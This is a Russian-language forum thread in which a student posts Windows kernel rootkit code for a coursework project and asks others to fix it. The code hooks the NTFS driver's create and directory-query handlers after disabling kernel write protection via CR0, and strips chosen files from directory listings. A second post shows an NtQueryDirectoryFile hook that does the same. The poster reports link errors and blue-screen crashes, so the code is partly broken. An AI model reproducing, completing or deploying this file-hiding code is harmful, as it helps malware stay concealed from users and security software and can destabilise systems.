Всем привет При выборе темы курсового проекта по системному программированию я заинтересовался сокрытием файлов, так как это представлялось интересной, новой и весьма сложной темой. Я пытался разобраться сам, прочитал книгу про руткиты под windows, но появились проблемы, т.к. в системном программировании я пока новичок. Выкладываю свой код, там есть ошибки линковки (: Вот код, сначала пытался сам написать, потом нашел этот. Хотелось бы услышать ваши замечания, исправления. Если у кого есть рабочий драйвер (WDM / legacy не принципиально) буду очень благодарен, если дадите код. В благодарность могу быть полезен в области математичекого моделирования ) Код (Text): extern "C" { #include <ntddk.h> } #include <stdio.h> #include "debug.h" #include "driver.h" #include "undocnt.h" extern PVOID IoDriverObjectType; PPROTECT_RULE PrtFindRule(PWSTR object); PDRIVER_OBJECT pTargetDrvObj; UNICODE_STRING dos_dev_name, dev_name; typedef NTSTATUS (__stdcall * IRP_FUNC)( PDEVICE_OBJECT DeviceObject, PIRP Irp ); KMUTEX RulesMutex; IRP_FUNC OldCreate; IRP_FUNC OldDirectoryControl; //-------------------------------------------------------------------------------------- NTSTATUS Process_Dir(wchar_t *pDirName, PFILE_DIRECTORY_INFORMATION pInf) { NTSTATUS ns = STATUS_SUCCESS; wchar_t FullPath[255]; PFILE_DIRECTORY_INFORMATION pPrevFileInfo, pFileInfo = pInf; while (pFileInfo) { RtlZeroMemory(FullPath, sizeof(FullPath)); wcscpy(FullPath, pDirName); if (pDirName[wcslen(pDirName) - 1] != '\\') wcscat(FullPath, L"\\"); wcsncat(FullPath, pFileInfo->FileName, min(pFileInfo->FileNameLength / 2, sizeof(FullPath) - wcslen(FullPath))); if (PrtFindRule(FullPath)) { // DbgMsg("%S - PROTECTED\n", FullPath); if (pPrevFileInfo) { if (pFileInfo->NextEntryOffset) { pPrevFileInfo->NextEntryOffset += pFileInfo->NextEntryOffset; } else { *(PULONG)pInf = 0; return ns; } } else { if (pFileInfo->NextEntryOffset) { *(PULONG)pInf += pFileInfo->NextEntryOffset; } else { ns = STATUS_NO_SUCH_FILE; } } } if (pFileInfo->NextEntryOffset) { pPrevFileInfo = pFileInfo; *(ULONG*)&pFileInfo += pFileInfo->NextEntryOffset; } else { pFileInfo = NULL; } } return ns; } //-------------------------------------------------------------------------------------- NTSTATUS Process_Full(wchar_t *pDirName, PFILE_FULL_DIRECTORY_INFORMATION pInf) { NTSTATUS ns = STATUS_SUCCESS; wchar_t FullPath[255]; PFILE_FULL_DIRECTORY_INFORMATION pPrevFileInfo, pFileInfo = pInf; while (pFileInfo) { RtlZeroMemory(FullPath, sizeof(FullPath)); wcscpy(FullPath, pDirName); if (pDirName[wcslen(pDirName) - 1] != '\\') wcscat(FullPath, L"\\"); wcsncat(FullPath, pFileInfo->FileName, min(pFileInfo->FileNameLength / 2, sizeof(FullPath) - wcslen(FullPath))); if (PrtFindRule(FullPath)) { // DbgMsg("%S - PROTECTED\n", FullPath); if (pPrevFileInfo) { if (pFileInfo->NextEntryOffset) { pPrevFileInfo->NextEntryOffset += pFileInfo->NextEntryOffset; } else { *(PULONG)pInf = 0; return ns; } } else { if (pFileInfo->NextEntryOffset) { *(PULONG)pInf += pFileInfo->NextEntryOffset; } else { ns = STATUS_NO_SUCH_FILE; } } } if (pFileInfo->NextEntryOffset) { pPrevFileInfo = pFileInfo; *(ULONG*)&pFileInfo += pFileInfo->NextEntryOffset; } else { pFileInfo = NULL; } } return ns; } //-------------------------------------------------------------------------------------- NTSTATUS Process_Both(wchar_t *pDirName, PFILE_BOTH_DIRECTORY_INFORMATION pInf) { NTSTATUS ns = STATUS_SUCCESS; wchar_t FullPath[255]; PFILE_BOTH_DIRECTORY_INFORMATION pPrevFileInfo, pFileInfo = pInf; while (pFileInfo) { RtlZeroMemory(FullPath, sizeof(FullPath)); wcscpy(FullPath, pDirName); if (pDirName[wcslen(pDirName) - 1] != '\\') wcscat(FullPath, L"\\"); wcsncat(FullPath, pFileInfo->FileName, min(pFileInfo->FileNameLength / 2, sizeof(FullPath) - wcslen(FullPath))); if (PrtFindRule(FullPath)) { // DbgMsg("%S - PROTECTED\n", FullPath); if (pPrevFileInfo) { if (pFileInfo->NextEntryOffset) { pPrevFileInfo->NextEntryOffset += pFileInfo->NextEntryOffset; } else { *(PULONG)pInf = 0; return ns; } } else { if (pFileInfo->NextEntryOffset) { *(PULONG)pInf += pFileInfo->NextEntryOffset; } else { ns = STATUS_NO_SUCH_FILE; } } } if (pFileInfo->NextEntryOffset) { pPrevFileInfo = pFileInfo; *(ULONG*)&pFileInfo += pFileInfo->NextEntryOffset; } else { pFileInfo = NULL; } } return ns; } //-------------------------------------------------------------------------------------- NTSTATUS Process_Names(wchar_t *pDirName, PFILE_NAMES_INFORMATION pInf) { NTSTATUS ns = STATUS_SUCCESS; wchar_t FullPath[255]; PFILE_NAMES_INFORMATION pPrevFileInfo, pFileInfo = pInf; while (pFileInfo) { RtlZeroMemory(FullPath, sizeof(FullPath)); wcscpy(FullPath, pDirName); if (pDirName[wcslen(pDirName) - 1] != '\\') wcscat(FullPath, L"\\"); wcsncat(FullPath, pFileInfo->FileName, min(pFileInfo->FileNameLength / 2, sizeof(FullPath) - wcslen(FullPath))); if (PrtFindRule(FullPath)) { // DbgMsg("%S - PROTECTED\n", FullPath); if (pPrevFileInfo) { if (pFileInfo->NextEntryOffset) { pPrevFileInfo->NextEntryOffset += pFileInfo->NextEntryOffset; } else { *(PULONG)pInf = 0; return ns; } } else { if (pFileInfo->NextEntryOffset) { *(PULONG)pInf += pFileInfo->NextEntryOffset; } else { ns = STATUS_NO_SUCH_FILE; } } } if (pFileInfo->NextEntryOffset) { pPrevFileInfo = pFileInfo; *(ULONG*)&pFileInfo += pFileInfo->NextEntryOffset; } else { pFileInfo = NULL; } } return ns; } //------------------------------------------------------------------------------ // Обработка запроса IRP_MJ_CREATE который посылается при открытии устройства приложением NTSTATUS __stdcall NewCreate(PDEVICE_OBJECT DeviceObject, PIRP Irp) { PIO_STACK_LOCATION stack = IoGetCurrentIrpStackLocation(Irp); if (MmIsAddressValid(stack->FileObject)) { if (MmIsAddressValid(stack->FileObject->FileName.Buffer)) { // DbgMsg("IRP_MJ_CREATE : %S\n", stack->FileObject->FileName.Buffer); if (PrtFindRule(stack->FileObject->FileName.Buffer)) return STATUS_UNSUCCESSFUL; } } return OldCreate(DeviceObject, Irp); } //------------------------------------------------------------------------------ // Обработка запроса IRP_MJ_DIRECTORY_CONTROL NTSTATUS __stdcall NewDirectoryControl(PDEVICE_OBJECT DeviceObject, PIRP Irp) { NTSTATUS ns; PIO_STACK_LOCATION stack = IoGetCurrentIrpStackLocation(Irp); //стек запросов PQUERY_DIRECTORY QueryDir = (PQUERY_DIRECTORY)&stack->Parameters; FILE_INFORMATION_CLASS FileInformationClass = QueryDir->FileInformationClass;//тип возвращаемой информации о директории wchar_t DirName[255]; if (stack->MinorFunction == IRP_MN_QUERY_DIRECTORY) { if (MmIsAddressValid(stack->FileObject)) { if (MmIsAddressValid(stack->FileObject->FileName.Buffer)) { // DbgMsg("IRP_MJ_DIRECTORY_CONTROL : %S (FileInformationClass: %d)\n", // stack->FileObject->FileName.Buffer, FileInformationClass); wcsncpy(DirName, stack->FileObject->FileName.Buffer, min(sizeof(DirName), stack->FileObject->FileName.Length)); ns = OldDirectoryControl(DeviceObject, Irp);//вызов ZwQueryDirectoryFile if (ns == STATUS_SUCCESS) { switch (FileInformationClass) { case FileDirectoryInformation: return Process_Dir(DirName, (PFILE_DIRECTORY_INFORMATION)Irp->UserBuffer); case FileFullDirectoryInformation: return Process_Full(DirName, (PFILE_FULL_DIRECTORY_INFORMATION)Irp->UserBuffer); case FileBothDirectoryInformation: return Process_Both(DirName, (PFILE_BOTH_DIRECTORY_INFORMATION)Irp->UserBuffer); case FileNamesInformation: return Process_Names(DirName, (PFILE_NAMES_INFORMATION)Irp->UserBuffer); } } return ns; } } } return OldDirectoryControl(DeviceObject, Irp); } //-------------------------------------------------------------------------------------- // compare two strings from the end (returns number of equal characters) unsigned int r_wcsncmp(wchar_t *str1, wchar_t *str2) { unsigned int i, len1 = wcslen(str1), len2 = wcslen(str2); for (i = 0; i < min(len1, len2); i++) { if (str1[len1-i] != str2[len2-i]) return 0; } return i; } //-------------------------------------------------------------------------------------- // first and last rules in list PPROTECT_RULE r_first = NULL, r_last = NULL; // find rule by type and object name PPROTECT_RULE PrtFindRule(PWSTR object) { PPROTECT_RULE r = r_first; NTSTATUS ns = KeWaitForMutexObject(&RulesMutex, Executive, KernelMode, FALSE, NULL); if (!NT_SUCCESS(ns)) { // DbgMsg("KeWaitForMutexObject() ERROR : 0x%.8x\n", ns); return NULL; } __try { while (r) { if (r_wcsncmp(r->name, object)) __leave; r = (PPROTECT_RULE)r->r_next; } r = NULL; } __finally { KeReleaseMutex(&RulesMutex, FALSE); } return r; } //-------------------------------------------------------------------------------------- // delete some rule BOOLEAN PrtDelRule(PWSTR object) { BOOLEAN bRet = FALSE; PPROTECT_RULE r; NTSTATUS ns = KeWaitForMutexObject(&RulesMutex, Executive, KernelMode, FALSE, NULL); if (!NT_SUCCESS(ns)) { // DbgMsg("KeWaitForMutexObject() ERROR : 0x%.8x\n", ns); return bRet; } __try { r = PrtFindRule(object); if (r == NULL) { // DbgMsg("PrtDelRule() : Rule not found\n"); __leave; } if (r->r_prev) ((PPROTECT_RULE)(r->r_prev))->r_next = r->r_next; if (r->r_next) ((PPROTECT_RULE)(r->r_next))->r_prev = r->r_prev; if (r_first == r) r_first = (PPROTECT_RULE)r->r_next; if (r_last == r) r_last = (PPROTECT_RULE)r->r_prev; // DbgMsg("PrtDelRule() : 0x%.8x deleted! (object name: %S)\n", object); ExFreePool(r); bRet = TRUE; } __finally { KeReleaseMutex(&RulesMutex, FALSE); } return bRet; } //-------------------------------------------------------------------------------------- // Создание нового правила о скрытии файла BOOLEAN PrtAddRule(PWSTR object) { BOOLEAN bRet = FALSE; PPROTECT_RULE r; NTSTATUS ns = KeWaitForMutexObject(&RulesMutex, Executive, KernelMode, FALSE, NULL); if (!NT_SUCCESS(ns)) { // DbgMsg("KeWaitForMutexObject() ERROR : 0x%.8x\n", ns); return FALSE; } __try { // если уже существует r = PrtFindRule(object); if (r) { // DbgMsg("PrtAddRule() : Allready exists\n"); __leave; } r = (PPROTECT_RULE)ExAllocatePool(NonPagedPool,sizeof(PROTECT_RULE)); if (r == NULL) { // DbgMsg("ExAllocatePool() ERROR\n"); __leave; } RtlZeroMemory(r, sizeof(PROTECT_RULE)); wcsncpy(r->name, object, min(wcslen(object), 255)); if (r_last) { r_last->r_next = (ULONG)r; r->r_prev = (ULONG)r_last; r_last = r; } else { r_last = r_first = r; } // DbgMsg("PrtAddRule() : Rule added! (object name: %S)\n", object); bRet = TRUE; } __finally { KeReleaseMutex(&RulesMutex, FALSE); } return bRet; } //-------------------------------------------------------------------------------------- // Обработчик всех IRP NTSTATUS DeviceControlRoutine(PDEVICE_OBJECT DeviceObject, PIRP Irp) { PIO_STACK_LOCATION stack; NTSTATUS ns = STATUS_SUCCESS; ULONG code, ret = 0; PIRP notify_irp; PREQUEST_BUFFER buf_req, buf_res; Irp->IoStatus.Status = ns; Irp->IoStatus.Information = 0; //получение указателя на область памяти, в которой располагается Irp-пакет stack = IoGetCurrentIrpStackLocation(Irp); if (stack->MajorFunction == IRP_MJ_DEVICE_CONTROL) { code = stack->Parameters.DeviceIoControl.IoControlCode; buf_req = buf_res = (PREQUEST_BUFFER)Irp->AssociatedIrp.SystemBuffer; // DbgMsg("IRP_MJ_DEVICE_CONTROL : 0x%.8x\n", code); Irp->IoStatus.Information = sizeof(REQUEST_BUFFER); switch (code) { //если получено сообщение скрыть или открыть файл case IOCTL_PROTECT_FILE: if (buf_req->protect_object.active) { buf_res->status = PrtAddRule(buf_req->protect_object.name); } else { buf_res->status = PrtDelRule(buf_req->protect_object.name); } break; default: ns = STATUS_INVALID_DEVICE_REQUEST; buf_res->status = 0; Irp->IoStatus.Information = 0; break; } } if (ns != STATUS_PENDING) { IoCompleteRequest(Irp, IO_NO_INCREMENT); Irp->IoStatus.Status = ns; } return ns; } //-------------------------------------------------------------------------------------- // Функция выгрузки драйвера NTSTATUS DriverUnload(IN PDRIVER_OBJECT DriverObject) { // DbgMsg("DriverUnload()\n"); // Отключаем защиту ядра от записи __asm { cli mov eax,cr0 ; грузим управляющий регистр cr0 в регистр eax and eax,not 000010000h; сбрасываем бит WP, запрещающий запись mov cr0,eax ; обновляем управляющий регистр cr0 } // Восстанавливаем старые обработчики InterlockedExchange((PLONG)&pTargetDrvObj->MajorFunction[IRP_MJ_CREATE], (ULONG)OldCreate); InterlockedExchange((PLONG)&pTargetDrvObj->MajorFunction[IRP_MJ_DIRECTORY_CONTROL], (ULONG)OldDirectoryControl); // Восстанавливаем защиту ядра от записи __asm { mov eax,cr0 or eax,000010000h mov cr0,eax sti } // DbgMsg("IRP_MJ_CREATE: Restored to 0x%.8x\n", OldCreate); // DbgMsg("IRP_MJ_DIRECTORY_CONTROL: Restored to 0x%.8x\n", OldDirectoryControl); // удаляем символическую ссылку и устройство IoDeleteDevice(DriverObject->DeviceObject); IoDeleteSymbolicLink(&dos_dev_name); return STATUS_SUCCESS; } //-------------------------------------------------------------------------------------- /* Точка входа драйвера DriverObject указатель на объект-драйвер, соответствующий загружаемому драйверу; RegistryPath - указатель на строку в формате Unicode с именем ключа реестра, соответствующего загружаемому драйверу. Если возвращается успешный статус завершения, диспетчер ввода/вывода немедленно позволяет производить обработку запросов к объектам-устройствам, созданным драйвером. Во всех остальных случаях драйвер не загружается в память, и запросы к нему не передаются. */ extern "C" { NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath ) { NTSTATUS ns = STATUS_SUCCESS; UNICODE_STRING DevName; wchar_t wc_dev_name[512], wc_dos_dev_name[512]; // Инициализация объекта драйвера и его точек входа. //------------------------------------------------------------------- PDEVICE_OBJECT dev_obj; // DbgMsg("DriverEntry()\n"); //регистрация функции DriverUnload DriverObject->DriverUnload = (PDRIVER_UNLOAD)DriverUnload; swprintf(wc_dev_name, L"\\Device\\%s", DEVICE_NAME); swprintf(wc_dos_dev_name, L"\\DosDevices\\%s", DEVICE_NAME); RtlInitUnicodeString(&dev_name, wc_dev_name); RtlInitUnicodeString(&dos_dev_name, wc_dos_dev_name); // Выделение памяти под необходимые структуры ns = IoCreateDevice (DriverObject, // Наш драйвер устройства 0, &dev_name, // Имя устройства FILE_DEVICE_UNKNOWN, // Тип устройства FILE_DEVICE_SECURE_OPEN, // Свойство для создания дескрипторов всех //запросов(менеджер ввода-вывода следит за //безопасностью операций) FALSE, // Особое устройство. //Драйвер обрабатывает только одного клиента &dev_obj); //Возвращает указатель на объект устройства //-------------------------------------------------------------------- // Если создание устройства прошло без ошибок… if (NT_SUCCESS(ns)) { /* Соответствующим элементам массива DriverObject->MajorFunction присваиваются адреса поддерживаемых функций. */ DriverObject->MajorFunction[IRP_MJ_CREATE] = NewCreate; // DriverObject->MajorFunction[IRP_MJ_CLOSE] = DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = DeviceControlRoutine; DriverObject->MajorFunction[IRP_MJ_DIRECTORY_CONTROL] = NewDirectoryControl; dev_obj->Flags |= DO_BUFFERED_IO; IoDeleteSymbolicLink(&dos_dev_name); //создание символьной ссылки на действительное имя устройства ns = IoCreateSymbolicLink(&dos_dev_name, &dev_name); if (!NT_SUCCESS(ns)) { // DbgMsg("IoCreateSymbolicLink() fails : 0x%.8x\n", ns); IoDeleteDevice(DriverObject->DeviceObject); return ns; } } else { // DbgMsg("IoCreateDevice() fails : 0x%.8x\n", ns); return ns; } //инициализируем мьютекс для синхронизации KeInitializeMutex(&RulesMutex, 0); RtlInitUnicodeString(&DevName, L"\\FileSystem\\Ntfs"); // возвращает указатель, используя имя объекта ns = ObReferenceObjectByName(&DevName, OBJ_CASE_INSENSITIVE, NULL, 0, (POBJECT_TYPE)IoDriverObjectType, KernelMode, NULL, (PVOID *)&pTargetDrvObj); if (!NT_SUCCESS(ns)) { // DbgMsg("ObReferenceObjectByName() fails : 0x%.8x\n", ns); return ns; } // Отключаем защиту ядра от записи __asm { cli mov eax,cr0 ; грузим управляющий регистр cr0 в регистр eax and eax,not 000010000h; сбрасываем бит WP, запрещающий запись mov cr0,eax ; обновляем управляющий регистр cr0 } // Заменяем обработчики на наши функции OldCreate = (IRP_FUNC)InterlockedExchange((PLONG)&pTargetDrvObj->MajorFunction[IRP_MJ_CREATE], (ULONG)NewCreate); OldDirectoryControl = (IRP_FUNC)InterlockedExchange((PLONG)&pTargetDrvObj->MajorFunction[IRP_MJ_DIRECTORY_CONTROL], (ULONG)NewDirectoryControl); // Восстанавливаем защиту ядра от записи __asm { mov eax,cr0 or eax,000010000h mov cr0,eax sti } // DbgMsg("IRP_MJ_CREATE: Old func 0x%.8x; New func 0x%.8x\n", OldCreate, NewCreate); // DbgMsg("IRP_MJ_DIRECTORY_CONTROL: Old func 0x%.8x; New func 0x%.8x\n", OldDirectoryControl, NewDirectoryControl); return STATUS_SUCCESS; } } //-------------------------------------------------------------------------------------- Буду очень рад услышать ваши замечания. Так же помогите разобраться, почему драйвер не компилится?
Код (Text): NTSTATUS RkNtQueryDirectoryFile(IN HANDLE FileHandle, IN HANDLE Event OPTIONAL, IN PIO_APC_ROUTINE ApcRoutine OPTIONAL, IN PVOID ApcContext OPTIONAL, OUT PIO_STATUS_BLOCK IoStatusBlock, OUT PVOID FileInformation, IN ULONG Length, IN FILE_INFORMATION_CLASS FileInformationClass, IN BOOLEAN ReturnSingleEntry, IN PUNICODE_STRING FileName OPTIONAL, IN BOOLEAN RestartScan) { PFILE_DIRECTORY_INFORMATION LastFileDirectoryInfo, FileDirectoryInfo; PFILE_FULL_DIRECTORY_INFORMATION LastFileFullDirectoryInfo, FileFullDirectoryInfo; PFILE_BOTH_DIRECTORY_INFORMATION LastFileBothDirectoryInfo, FileBothDirectoryInfo; PFILE_NAMES_INFORMATION LastFileNamesInfo, FileNamesInfo; NTSTATUS Result; BOOLEAN WasHidden = FALSE; Result = TrueNtQueryDirectoryFile(FileHandle, Event, ApcRoutine, ApcContext, IoStatusBlock, FileInformation, Length, FileInformationClass, ReturnSingleEntry, FileName, RestartScan); if(NT_SUCCESS(Result)) { switch(FileInformationClass) { case FileDirectoryInformation : { FileDirectoryInfo = (PFILE_DIRECTORY_INFORMATION)FileInformation; while(IsFileHidden(FileDirectoryInfo->FileName, FileDirectoryInfo->FileNameLength)) { if(FileDirectoryInfo->NextEntryOffset != 0) { if(((PFILE_DIRECTORY_INFORMATION)((ULONG)FileDirectoryInfo + FileDirectoryInfo->NextEntryOffset))->NextEntryOffset != 0) ((PFILE_DIRECTORY_INFORMATION)((ULONG)FileDirectoryInfo + FileDirectoryInfo->NextEntryOffset))->NextEntryOffset += FileDirectoryInfo->NextEntryOffset; RtlCopyMemory(FileDirectoryInfo, (PVOID)((ULONG)FileDirectoryInfo + FileDirectoryInfo->NextEntryOffset), sizeof(PFILE_DIRECTORY_INFORMATION) + ((PFILE_DIRECTORY_INFORMATION)((ULONG)FileDirectoryInfo + FileDirectoryInfo->NextEntryOffset))->FileNameLength - 2); } else return STATUS_NO_MORE_FILES; } while(FileDirectoryInfo->NextEntryOffset > 0) { if(!WasHidden) LastFileDirectoryInfo = FileDirectoryInfo; WasHidden = FALSE; FileDirectoryInfo = (PFILE_DIRECTORY_INFORMATION)((ULONG)FileDirectoryInfo + FileDirectoryInfo->NextEntryOffset); if(IsFileHidden(FileDirectoryInfo->FileName, FileDirectoryInfo->FileNameLength)) { if(FileDirectoryInfo->NextEntryOffset > 0) { LastFileDirectoryInfo->NextEntryOffset += FileDirectoryInfo->NextEntryOffset; WasHidden = TRUE; } else LastFileDirectoryInfo->NextEntryOffset = 0; } } break; } case FileFullDirectoryInformation : { FileFullDirectoryInfo = (PFILE_FULL_DIRECTORY_INFORMATION)FileInformation; while(IsFileHidden(FileFullDirectoryInfo->FileName, FileFullDirectoryInfo->FileNameLength)) { if(FileFullDirectoryInfo->NextEntryOffset != 0) { if(((PFILE_FULL_DIRECTORY_INFORMATION)((ULONG)FileFullDirectoryInfo + FileFullDirectoryInfo->NextEntryOffset))->NextEntryOffset != 0) ((PFILE_FULL_DIRECTORY_INFORMATION)((ULONG)FileFullDirectoryInfo + FileFullDirectoryInfo->NextEntryOffset))->NextEntryOffset += FileFullDirectoryInfo->NextEntryOffset; RtlCopyMemory(FileFullDirectoryInfo, (PVOID)((ULONG)FileFullDirectoryInfo + FileFullDirectoryInfo->NextEntryOffset), sizeof(PFILE_FULL_DIRECTORY_INFORMATION) + ((PFILE_FULL_DIRECTORY_INFORMATION)((ULONG)FileFullDirectoryInfo + FileFullDirectoryInfo->NextEntryOffset))->FileNameLength - 2); } else return STATUS_NO_MORE_FILES; } while(FileFullDirectoryInfo->NextEntryOffset > 0) { if(!WasHidden) LastFileFullDirectoryInfo = FileFullDirectoryInfo; WasHidden = FALSE; FileFullDirectoryInfo = (PFILE_FULL_DIRECTORY_INFORMATION)((ULONG)FileFullDirectoryInfo + FileFullDirectoryInfo->NextEntryOffset); if(IsFileHidden(FileFullDirectoryInfo->FileName, FileFullDirectoryInfo->FileNameLength)) { if(FileFullDirectoryInfo->NextEntryOffset > 0) { LastFileFullDirectoryInfo->NextEntryOffset += FileFullDirectoryInfo->NextEntryOffset; WasHidden = TRUE; } else LastFileFullDirectoryInfo->NextEntryOffset = 0; } } break; } case FileBothDirectoryInformation : { FileBothDirectoryInfo = (PFILE_BOTH_DIRECTORY_INFORMATION)FileInformation; while(IsFileHidden(FileBothDirectoryInfo->FileName, FileBothDirectoryInfo->FileNameLength)) { if(FileBothDirectoryInfo->NextEntryOffset != 0) { if(((PFILE_BOTH_DIRECTORY_INFORMATION)((ULONG)FileBothDirectoryInfo + FileBothDirectoryInfo->NextEntryOffset))->NextEntryOffset != 0) ((PFILE_BOTH_DIRECTORY_INFORMATION)((ULONG)FileBothDirectoryInfo + FileBothDirectoryInfo->NextEntryOffset))->NextEntryOffset += FileBothDirectoryInfo->NextEntryOffset; RtlCopyMemory(FileBothDirectoryInfo, (PVOID)((ULONG)FileBothDirectoryInfo + FileBothDirectoryInfo->NextEntryOffset), sizeof(FILE_BOTH_DIRECTORY_INFORMATION) + ((PFILE_BOTH_DIRECTORY_INFORMATION)((ULONG)FileBothDirectoryInfo + FileBothDirectoryInfo->NextEntryOffset))->FileNameLength - 2); } else return STATUS_NO_MORE_FILES; } while(FileBothDirectoryInfo->NextEntryOffset > 0) { if(!WasHidden) LastFileBothDirectoryInfo = FileBothDirectoryInfo; WasHidden = FALSE; FileBothDirectoryInfo = (PFILE_BOTH_DIRECTORY_INFORMATION)((ULONG)FileBothDirectoryInfo + FileBothDirectoryInfo->NextEntryOffset); if(IsFileHidden(FileBothDirectoryInfo->FileName, FileBothDirectoryInfo->FileNameLength)) { if(FileBothDirectoryInfo->NextEntryOffset > 0) { LastFileBothDirectoryInfo->NextEntryOffset += FileBothDirectoryInfo->NextEntryOffset; WasHidden = TRUE; } else LastFileBothDirectoryInfo->NextEntryOffset = 0; } } break; } case FileNamesInformation : { FileNamesInfo = (PFILE_NAMES_INFORMATION)FileInformation; while(IsFileHidden(FileNamesInfo->FileName, FileNamesInfo->FileNameLength)) { if(FileNamesInfo->NextEntryOffset != 0) { if(((PFILE_NAMES_INFORMATION)((ULONG)FileNamesInfo + FileNamesInfo->NextEntryOffset))->NextEntryOffset != 0) ((PFILE_NAMES_INFORMATION)((ULONG)FileNamesInfo + FileNamesInfo->NextEntryOffset))->NextEntryOffset += FileNamesInfo->NextEntryOffset; RtlCopyMemory(FileNamesInfo, (PVOID)((ULONG)FileNamesInfo + FileNamesInfo->NextEntryOffset), sizeof(PFILE_NAMES_INFORMATION) + ((PFILE_NAMES_INFORMATION)((ULONG)FileNamesInfo + FileNamesInfo->NextEntryOffset))->FileNameLength - 2); } else return STATUS_NO_MORE_FILES; } while(FileNamesInfo->NextEntryOffset > 0) { if(!WasHidden) LastFileNamesInfo = FileNamesInfo; WasHidden = FALSE; FileNamesInfo = (PFILE_NAMES_INFORMATION)((ULONG)FileNamesInfo + FileNamesInfo->NextEntryOffset); if(IsFileHidden(FileNamesInfo->FileName, FileNamesInfo->FileNameLength)) { if(FileNamesInfo->NextEntryOffset > 0) { LastFileNamesInfo->NextEntryOffset += FileNamesInfo->NextEntryOffset; WasHidden = TRUE; } else LastFileNamesInfo->NextEntryOffset = 0; } } } } } return Result; }
Когда запущен антивирус выдаёт синий экран с ошибкой PAGE_FAULT_IN_NONPAGED_AREA МОжет быть, когда объявляем структуры, в каждом случае для них выделять неподкачиваемую память?
извиняюсь за оффтп. мне кажется лучше минифильтр написать, в 10 раз проще и они специально для таких целей сделаны.